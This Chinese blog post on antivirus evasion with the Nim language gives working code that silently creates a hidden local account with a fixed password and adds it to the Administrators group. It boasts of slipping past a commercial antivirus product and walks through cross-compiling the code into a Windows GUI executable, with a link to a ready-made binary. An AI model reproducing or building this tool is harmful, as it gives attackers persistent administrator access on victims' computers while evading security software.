免杀-nim篇

正文

小众语言过杀软总是这么容易…
轻松bypass 某数字杀软(安全大脑开启ing)
代码有参考冷毅的github
我写的没有他好hhhh
先来看效果:

最后贴上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import winim/lean
import winim/inc/lm
var user_info = USER_INFO_1(
usri1_name: "shadowwolf",
usri1_password: "shadowwolf",
usri1_priv: USER_PRIV_USER
)

var account = LOCALGROUP_MEMBERS_INFO_3(
lgrmi3_domainandname: user_info.usri1_name
)
var dwError = DWORD 0
NetUserAdd(nil, 1, cast[LPBYTE](&user_info), &dwError)
NetLocalGroupAddMembers(nil, "Administrators", 3, cast[LPBYTE](&account), 1)

我是debian下交叉编译的windows的exe(踩了不少坑
这里说一下 debiannim编译exe的流程(保姆级

教程

STEP 1 安装

安装 nim

1
2
3
4
apt-get install update
apt-get install nim
apt-get install gcc
nimble install https://gitee.com/best-ying/winim.git

winim本来应该是nimble install winim的 但是因为默认用的github的源 太慢了上不去 又不知道这么换源 就只好这样做 以后遇到这种问题都可以这么做:
nimble install 想安装的包的gitee上的地址 (gitee上有一个从github导入的地方 导入到自己仓库后就可以直接git clone 这样就是走国内的路线当然快)

然后继续安装

1
apt install mingw-w64

STEP 2 编写&编译运行&打包exe

比如在 /root/ 下写一个q.nim

然后输入以下
nim c --cpu:amd64 -d:mingw --app:gui now.nim
cpu的这个地方的参数 可以为别的:i386 等其他
最后在同目录下 生成q.exe

这里懒 没有把 编译的拉到自己机子上试 直接wine了

这里的代码直接换成上面给出的 然后改预制的用户名和密码即可 然后编译就行了 就有自己的exe啦

结束语

成品下载地址(gitee):
https://gitee.com/oagi/netuseraddbypass